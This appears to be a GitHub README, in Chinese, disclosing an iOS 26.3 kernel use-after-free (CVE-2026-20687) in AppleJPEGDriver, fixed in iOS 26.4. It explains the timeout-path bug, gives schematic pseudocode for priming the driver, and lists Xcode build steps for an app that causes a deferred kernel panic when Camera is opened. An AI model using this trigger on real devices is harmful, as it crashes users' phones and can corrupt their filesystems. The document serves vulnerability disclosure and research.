enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF
GitHub: enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF
针对 AppleJPEGDriver UAF 漏洞(CVE-2026-20687)的 iOS 内核级 PoC,演示通过超时路径释放后使用导致延迟触发内核崩溃的完整流程。
Stars: 0 | Forks: 0
# CVE-2026-20687 — AppleJPEGDriver startDecoder 超时 UAF
[**CVE-2026-20687**](https://support.apple.com/en-us/126792) · Enfilade · [enfilade.io](https://enfilade.io)
## 目标
| | |
| ---------- | --------------------------------------------------- |
| iOS | 26.3 (23D125) (已测试) |
| macOS | — |
| 组件 | `AppleJPEGDriver` |
| 已修复 | iOS 26.4 / iPadOS 26.4 |
| 硬件 | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
## 警告
运行此 PoC 将导致设备发生内核崩溃。请在运行前保存您的工作。反复崩溃可能会导致文件系统损坏。仅供安全研究使用。
## 漏洞
`startDecoder_sync` 中的超时路径释放了一个请求,但将其嵌入的队列节点指针留在了 per-codec 向量中。随后的队列遍历会解引用该过期节点,并且内核会在 MTE 标签检查执行时发生崩溃。该崩溃通常会延迟到后续运行同步 JPEG 解码时发生——在 iPhone 上,这种情况通常在打开“相机”应用时可靠地触发。
## 概念验证
```
// Primes the driver; the panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// Later, opening Camera triggers:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: does NOT dequeue (req + 0x78)
// Later still (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // UAF read -> MTE tag fault -> panic
```
## 构建与运行
1. 在 Xcode 中打开 `ios-app/Test.xcodeproj`。
2. 选择一台实体 iOS 设备(模拟器无法访问该驱动)。
3. 构建并运行,然后点击 **Panic**(预热驱动程序并排队异步工作)。
4. 打开 **Camera**(相机)应用以触发延迟的崩溃。
## 许可证
参见 [LICENSE](LICENSE)。
标签:0day, A19 Pro, AppleJPEGDriver, CVE-2026-20687, CVE监控, IOKit, iOS, iOS 26.3, iPhone 17 Pro Max, MTE, UAF, Web报告查看器, 代码执行, 内存标记扩展, 内核恐慌, 内核漏洞, 提权, 搜索语句(dork), 漏洞PoC, 竞态条件, 释放后使用, 驱动漏洞